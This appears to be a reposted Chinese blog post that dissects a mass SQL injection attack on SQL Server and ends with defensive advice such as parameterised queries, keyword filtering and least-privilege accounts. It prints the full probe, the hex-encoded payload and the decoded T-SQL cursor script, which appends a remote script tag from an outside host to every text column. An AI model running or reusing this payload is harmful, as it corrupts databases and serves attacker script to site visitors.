再谈sql注入(sql inject)

来源:互联网 发布:中企动力域名证书 编辑:程序博客网 时间:2024/05/22 07:40

这是注入尝试的请求,用来确认是否为sql server
(sElEcT ChAr(94)%2B cAsT(CoUnT(1) aS VaRcHaR(100))%2bChAr(94) fRoM [mAsTeR]..[sYsDaTaBaSeS])>0
转化掉urlencode如下
(sElEcT ChAr(94)+cAsT(CoUnT(1) aS VaRcHaR(100))+ChAr(94) fRoM [mAsTeR]..[sYsDaTaBaSeS])>0

这个是注入的请求:
dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s)

转化掉urlencode,并把这些二进制的code转化为字符串,就是如下脚本了!
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR
FOR
 SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
 OPEN Table_Cursor
 FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script type="text/javascript" src="http://www.gzqjfs.com/jscript/googleCode.js"></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

记住不要乱try哦!最好在自己本地数据库去玩!

建议:
1.不要让人家看到你的错误信息,也就不可能知道你是什么数据库,也就不可能通过系统表来操作了。
2.看看这个东西多长了,记住,参数判断下长度(建设好哦啊不必要的注入)。当然有些字段本生就很长,那就记得下面的建议
3.一点主要过滤关键字,如exec,execute,如select,declare,把这些统一处理掉,注意看人家为啥要写成dEcLaRe,而非delcalre or DECLARE
4.少用字符串拼接sql语句,记得用传参数的方式。尽量多的用存储过程
5.对不同的程序给予不同的sql server用户权限。前台(只读),后台,不同库用户权限分下,这样注入不会是整个服务器!


对已有程序建议如下处理:
处理所有请求,即对所有请求的QueryString和Form参数进行过滤

 

具体如何操作,可以联系本人!(只是写了个邮件贴出来了,具体操作,有空再写吧!)

原创粉丝点击